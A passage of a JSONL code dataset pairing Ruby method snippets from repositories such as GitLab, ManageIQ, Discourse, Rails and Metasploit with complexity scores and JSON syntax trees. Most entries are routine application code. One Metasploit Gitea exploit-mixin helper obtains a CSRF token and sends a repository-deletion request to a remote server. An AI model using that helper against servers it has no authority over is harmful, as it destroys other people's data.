end","complexity_score":14.6,"ast_json":"{\"type\":\"def\",\"children\":[\"seed_report\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"path\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"seed_files\"]},\"detect\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"f\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"basename\",{\"type\":\"lvar\",\"children\":[\"f\"]}]},\"include?\",{\"type\":\"lvar\",\"children\":[\"name\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"report \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]},\"inspect\"]}]},{\"type\":\"str\",\"children\":[\" not found\"]}]}]},null]},{\"type\":\"send\",\"children\":[null,\"seed_record\",{\"type\":\"lvar\",\"children\":[\"path\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MiqReport\"]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"filename\"]},{\"type\":\"send\",\"children\":[null,\"seed_filename\",{\"type\":\"lvar\",\"children\":[\"path\"]}]}]}]}]}]}]}]}","id":"f03fb897-5af2-4c5d-af9b-be79907461c8"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support/helpers/graphql/arguments.rb","start_line":31,"raw_source":"def as_graphql_literal(value)\n      self.class.as_graphql_literal(value)\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"as_graphql_literal\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"as_graphql_literal\",{\"type\":\"lvar\",\"children\":[\"value\"]}]}]}","id":"6acd50f4-74ec-4b5f-aa88-72477d867122"}
{"repo_name":"ruby_llm","file_path":"./repos/ruby_llm/lib/ruby_llm/models.rb","start_line":208,"raw_source":"def refresh!(remote_only: false)\n      self.class.refresh!(remote_only: remote_only)\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"refresh!\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"remote_only\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"refresh!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"remote_only\"]},{\"type\":\"lvar\",\"children\":[\"remote_only\"]}]}]}]}]}","id":"74aa74bd-6027-4f4f-8b13-d3ecc5850cbf"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/helpers/issuables_helper.rb","start_line":332,"raw_source":"def incident_only_initial_data(issue)\n    return {} unless issue.incident_type_issue?\n\n    {\n      hasLinkedAlerts: issue.alert_management_alerts.any?,\n      canUpdateTimelineEvent: can?(current_user, :admin_incident_management_timeline_event, issue),\n      currentPath: url_for(safe_params),\n      currentTab: safe_params[:incident_tab]\n    }\n  end","complexity_score":10.8,"ast_json":"{\"type\":\"def\",\"children\":[\"incident_only_initial_data\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"issue\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"issue\"]},\"incident_type_issue?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"hasLinkedAlerts\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"issue\"]},\"alert_management_alerts\"]},\"any?\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"canUpdateTimelineEvent\"]},{\"type\":\"send\",\"children\":[null,\"can?\",{\"type\":\"send\",\"children\":[null,\"current_user\"]},{\"type\":\"sym\",\"children\":[\"admin_incident_management_timeline_event\"]},{\"type\":\"lvar\",\"children\":[\"issue\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"currentPath\"]},{\"type\":\"send\",\"children\":[null,\"url_for\",{\"type\":\"send\",\"children\":[null,\"safe_params\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"currentTab\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"safe_params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"incident_tab\"]}]}]}]}]}]}","id":"8424e8e4-b57b-4a31-8720-58b003b77f64"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/pglogical_subscription.rb","start_line":161,"raw_source":"def self.remote_region_attributes(subscription_name)\n    attrs = {}\n    attrs[:provider_region] = subscription_name.split(\"_\")[1].to_i\n    region = MiqRegion.find_by_region(attrs[:provider_region])\n    attrs[:provider_region_name] = region.description if region\n    attrs\n  end","complexity_score":12.35,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"remote_region_attributes\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"subscription_name\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"attrs\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attrs\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"provider_region\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"subscription_name\"]},\"split\",{\"type\":\"str\",\"children\":[\"_\"]}]},\"[]\",{\"type\":\"int\",\"children\":[1]}]},\"to_i\"]}]},{\"type\":\"lvasgn\",\"children\":[\"region\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MiqRegion\"]},\"find_by_region\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attrs\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"provider_region\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"region\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attrs\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"provider_region_name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"region\"]},\"description\"]}]},null]},{\"type\":\"lvar\",\"children\":[\"attrs\"]}]}]}","id":"728b144a-663f-4788-bd6e-ecee12be8e8d"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/miq_server/role_management.rb","start_line":208,"raw_source":"def has_assigned_role?(role)\n    assigned_role_names.include?(role.to_s.strip.downcase)\n  end","complexity_score":6.4,"ast_json":"{\"type\":\"def\",\"children\":[\"has_assigned_role?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"role\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assigned_role_names\"]},\"include?\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"role\"]},\"to_s\"]},\"strip\"]},\"downcase\"]}]}]}","id":"6795f562-9b92-41ee-acf7-183434592705"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/exploit/remote/http/gitea/repository.rb","start_line":80,"raw_source":"def gitea_remove_repo(path, timeout = 20)\n    uri = gitea_url_repo_settings(path)\n    res = send_request_cgi({\n      'uri' => uri,\n      'keep_cookies' => true\n    }, timeout)\n    return nil unless res\n    return res if res&.code == 404 # return res if 404 to handling cleanup\n\n    csrf = gitea_get_csrf(res)\n    raise Msf::Exploit::Remote::HTTP::Gitea::Error::CsrfError.new unless csrf\n\n    name = path.split('/').last\n    send_request_cgi(\n      'method' => 'POST',\n      'uri' => uri,\n      'vars_post' => gitea_helper_repo_remove_post_data(name, csrf),\n      'keep_cookies' => true\n    )\n  end","complexity_score":20.55,"ast_json":"{\"type\":\"def\",\"children\":[\"gitea_remove_repo\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"path\"]},{\"type\":\"optarg\",\"children\":[\"timeout\",{\"type\":\"int\",\"children\":[20]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"uri\",{\"type\":\"send\",\"children\":[null,\"gitea_url_repo_settings\",{\"type\":\"lvar\",\"children\":[\"path\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"lvar\",\"children\":[\"uri\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"keep_cookies\"]},{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"lvar\",\"children\":[\"timeout\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[404]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"csrf\",{\"type\":\"send\",\"children\":[null,\"gitea_get_csrf\",{\"type\":\"lvar\",\"children\":[\"res\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"csrf\"]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Exploit\"]},\"Remote\"]},\"HTTP\"]},\"Gitea\"]},\"Error\"]},\"CsrfError\"]},\"new\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"name\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]},\"split\",{\"type\":\"str\",\"children\":[\"/\"]}]},\"last\"]}]},{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"POST\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"lvar\",\"children\":[\"uri\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"vars_post\"]},{\"type\":\"send\",\"children\":[null,\"gitea_helper_repo_remove_post_data\",{\"type\":\"lvar\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"csrf\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"keep_cookies\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]}","id":"9f073523-8bf7-4062-b2ed-dfbde943e29e"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/post/meterpreter/extensions/stdapi/railgun/util.rb","start_line":581,"raw_source":"def sizeof_type(type)\n    if is_pointer_type?(type)\n      return pointer_size\n    end\n\n    if type.kind_of? String\n      if is_array_type?(type)\n        element_type, length = split_array_type(type)\n        return length * sizeof_type(element_type)\n      else\n        return sizeof_type(type.to_sym)\n      end\n    end\n\n    if is_struct_type?(type)\n      return sizeof_struct(type)\n    end\n\n    if TYPE_DEFINITIONS.has_key?(type)\n      primitive = TYPE_DEFINITIONS[type]\n\n      if primitive == :pointer\n        return pointer_size\n      end\n\n      if PRIMITIVE_TYPE_SIZES.has_key?(primitive)\n        return PRIMITIVE_TYPE_SIZES[primitive]\n      else\n        raise \"Type #{type} was mapped to non-existent primitive #{primitive}\"\n      end\n    end\n\n    raise \"Unable to determine size for type #{type}.\"\n  end","complexity_score":35.1,"ast_json":"{\"type\":\"def\",\"children\":[\"sizeof_type\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"type\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"is_pointer_type?\",{\"type\":\"lvar\",\"children\":[\"type\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"pointer_size\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"type\"]},\"kind_of?\",{\"type\":\"const\",\"children\":[null,\"String\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"is_array_type?\",{\"type\":\"lvar\",\"children\":[\"type\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"element_type\"]},{\"type\":\"lvasgn\",\"children\":[\"length\"]}]},{\"type\":\"send\",\"children\":[null,\"split_array_type\",{\"type\":\"lvar\",\"children\":[\"type\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"length\"]},\"*\",{\"type\":\"send\",\"children\":[null,\"sizeof_type\",{\"type\":\"lvar\",\"children\":[\"element_type\"]}]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sizeof_type\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"type\"]},\"to_sym\"]}]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"is_struct_type?\",{\"type\":\"lvar\",\"children\":[\"type\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sizeof_struct\",{\"type\":\"lvar\",\"children\":[\"type\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TYPE_DEFINITIONS\"]},\"has_key?\",{\"type\":\"lvar\",\"children\":[\"type\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"primitive\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TYPE_DEFINITIONS\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"type\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"primitive\"]},\"==\",{\"type\":\"sym\",\"children\":[\"pointer\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"pointer_size\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PRIMITIVE_TYPE_SIZES\"]},\"has_key?\",{\"type\":\"lvar\",\"children\":[\"primitive\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PRIMITIVE_TYPE_SIZES\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"primitive\"]}]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Type \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"type\"]}]},{\"type\":\"str\",\"children\":[\" was mapped to non-existent primitive \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"primitive\"]}]}]}]}]}]},null]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Unable to determine size for type \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"type\"]}]},{\"type\":\"str\",\"children\":[\".\"]}]}]}]}]}","id":"964717f7-33b5-4aab-a55a-d841bb7935f5"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/post_migrate/20250820023351_update_design_management_designs_namespace_id_trigger.rb","start_line":6,"raw_source":"def up\n    # Remove the projects.namespace_id trigger\n    remove_sharding_key_assignment_trigger(\n      table: :design_management_designs,\n      sharding_key: :namespace_id,\n      parent_table: :projects,\n      parent_sharding_key: :namespace_id,\n      foreign_key: :project_id\n    )\n\n    # Add the projects.project_namespace_id trigger\n    install_sharding_key_assignment_trigger(\n      table: :design_management_designs,\n      sharding_key: :namespace_id,\n      parent_table: :projects,\n      parent_sharding_key: :project_namespace_id,\n      foreign_key: :project_id\n    )\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"remove_sharding_key_assignment_trigger\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"table\"]},{\"type\":\"sym\",\"children\":[\"design_management_designs\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"sharding_key\"]},{\"type\":\"sym\",\"children\":[\"namespace_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"parent_table\"]},{\"type\":\"sym\",\"children\":[\"projects\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"parent_sharding_key\"]},{\"type\":\"sym\",\"children\":[\"namespace_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"foreign_key\"]},{\"type\":\"sym\",\"children\":[\"project_id\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"install_sharding_key_assignment_trigger\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"table\"]},{\"type\":\"sym\",\"children\":[\"design_management_designs\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"sharding_key\"]},{\"type\":\"sym\",\"children\":[\"namespace_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"parent_table\"]},{\"type\":\"sym\",\"children\":[\"projects\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"parent_sharding_key\"]},{\"type\":\"sym\",\"children\":[\"project_namespace_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"foreign_key\"]},{\"type\":\"sym\",\"children\":[\"project_id\"]}]}]}]}]}]}","id":"d4bfbb41-13c5-4910-b7be-6072963b85fa"}
{"repo_name":"discourse","file_path":"./repos/discourse/migrations/lib/database/intermediate_db/category_user.rb","start_line":30,"raw_source":"def self.create(category_id:, user_id:, last_seen_at: nil, notification_level:)\n      ::Migrations::Database::IntermediateDB.insert(\n        SQL,\n        category_id,\n        user_id,\n        ::Migrations::Database.format_datetime(last_seen_at),\n        notification_level,\n      )\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"create\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"category_id\"]},{\"type\":\"kwarg\",\"children\":[\"user_id\"]},{\"type\":\"kwoptarg\",\"children\":[\"last_seen_at\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwarg\",\"children\":[\"notification_level\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Migrations\"]},\"Database\"]},\"IntermediateDB\"]},\"insert\",{\"type\":\"const\",\"children\":[null,\"SQL\"]},{\"type\":\"lvar\",\"children\":[\"category_id\"]},{\"type\":\"lvar\",\"children\":[\"user_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Migrations\"]},\"Database\"]},\"format_datetime\",{\"type\":\"lvar\",\"children\":[\"last_seen_at\"]}]},{\"type\":\"lvar\",\"children\":[\"notification_level\"]}]}]}","id":"eb505079-7198-4290-9569-b53b18e9c958"}
{"repo_name":"discourse","file_path":"./repos/discourse/db/migrate/20200813044955_create_imap_sync_log.rb","start_line":4,"raw_source":"def change\n    create_table :imap_sync_logs do |t|\n      t.integer :level\n      t.string :message\n      t.bigint :group_id, null: true\n\n      t.timestamps\n    end\n\n    add_index :imap_sync_logs, :group_id\n    add_index :imap_sync_logs, :level\n  end","complexity_score":8.8,"ast_json":"{\"type\":\"def\",\"children\":[\"change\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create_table\",{\"type\":\"sym\",\"children\":[\"imap_sync_logs\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"t\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"integer\",{\"type\":\"sym\",\"children\":[\"level\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"string\",{\"type\":\"sym\",\"children\":[\"message\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"bigint\",{\"type\":\"sym\",\"children\":[\"group_id\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"timestamps\"]}]}]},{\"type\":\"send\",\"children\":[null,\"add_index\",{\"type\":\"sym\",\"children\":[\"imap_sync_logs\"]},{\"type\":\"sym\",\"children\":[\"group_id\"]}]},{\"type\":\"send\",\"children\":[null,\"add_index\",{\"type\":\"sym\",\"children\":[\"imap_sync_logs\"]},{\"type\":\"sym\",\"children\":[\"level\"]}]}]}]}","id":"2a87e325-0fbf-445b-a4cd-488dc8f7a899"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/work_items/closing_merge_requests/create_service.rb","start_line":42,"raw_source":"def merge_request_from_reference\n        parent = parent_from_path\n\n        extractor = if parent.is_a?(Project)\n                      ::Gitlab::ReferenceExtractor.new(parent, @current_user)\n                    else\n                      ::Gitlab::ReferenceExtractor.new(nil, @current_user)\n                    end\n\n        extractor.analyze(@merge_request_reference, extractor_params_for(parent))\n        extractor.merge_requests.first\n      end","complexity_score":11.6,"ast_json":"{\"type\":\"def\",\"children\":[\"merge_request_from_reference\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"parent\",{\"type\":\"send\",\"children\":[null,\"parent_from_path\"]}]},{\"type\":\"lvasgn\",\"children\":[\"extractor\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parent\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Project\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Gitlab\"]},\"ReferenceExtractor\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"parent\"]},{\"type\":\"ivar\",\"children\":[\"@current_user\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Gitlab\"]},\"ReferenceExtractor\"]},\"new\",{\"type\":\"nil\",\"children\":[]},{\"type\":\"ivar\",\"children\":[\"@current_user\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"extractor\"]},\"analyze\",{\"type\":\"ivar\",\"children\":[\"@merge_request_reference\"]},{\"type\":\"send\",\"children\":[null,\"extractor_params_for\",{\"type\":\"lvar\",\"children\":[\"parent\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"extractor\"]},\"merge_requests\"]},\"first\"]}]}]}","id":"1622256e-1acd-462b-af71-156e018585f1"}
{"repo_name":"forem","file_path":"./repos/forem/app/services/feeds/assemble_article_markdown.rb","start_line":45,"raw_source":"def get_tags\n      @categories.first(4).map do |tag|\n        tag.delete(\" \").gsub(/[^[:alnum:]]/i, \"\")[0..19]\n      end.join(\",\")\n    end","complexity_score":9.7,"ast_json":"{\"type\":\"def\",\"children\":[\"get_tags\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@categories\"]},\"first\",{\"type\":\"int\",\"children\":[4]}]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"tag\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tag\"]},\"delete\",{\"type\":\"str\",\"children\":[\" \"]}]},\"gsub\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"[^[:alnum:]]\"]},{\"type\":\"regopt\",\"children\":[\"i\"]}]},{\"type\":\"str\",\"children\":[\"\"]}]},\"[]\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[19]}]}]}]},\"join\",{\"type\":\"str\",\"children\":[\",\"]}]}]}","id":"b0457323-7d22-4b0b-8b7e-d98a0266b650"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/test/tests/sexp.rb","start_line":231,"raw_source":"def test_class_body\n    exp = parse <<-RUBY\n    class X\n      def y\n      end\n    end\n    RUBY\n\n    assert_equal s(s(:defn, :y, s(:args), s(:nil))), exp.body\n  end","complexity_score":10.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_class_body\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"exp\",{\"type\":\"send\",\"children\":[null,\"parse\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"    class X\\n\"]},{\"type\":\"str\",\"children\":[\"      def y\\n\"]},{\"type\":\"str\",\"children\":[\"      end\\n\"]},{\"type\":\"str\",\"children\":[\"    end\\n\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"defn\"]},{\"type\":\"sym\",\"children\":[\"y\"]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"args\"]}]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"nil\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exp\"]},\"body\"]}]}]}]}","id":"a6e001af-10b7-4b30-882e-73dfb9141fbb"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/associations/has_many_associations_test.rb","start_line":2115,"raw_source":"def test_transactions_when_replacing_on_new_record\n    firm = Firm.new\n    assert_queries_count(0) do\n      firm.clients_of_firm = [Client.new(\"name\" => \"New Client\")]\n    end\n  end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_transactions_when_replacing_on_new_record\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"firm\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Firm\"]},\"new\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_queries_count\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"firm\"]},\"clients_of_firm=\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Client\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"New Client\"]}]}]}]}]}]}]}]}]}","id":"0cd1a402-a08c-4bed-a7aa-5021572bdbbc"}
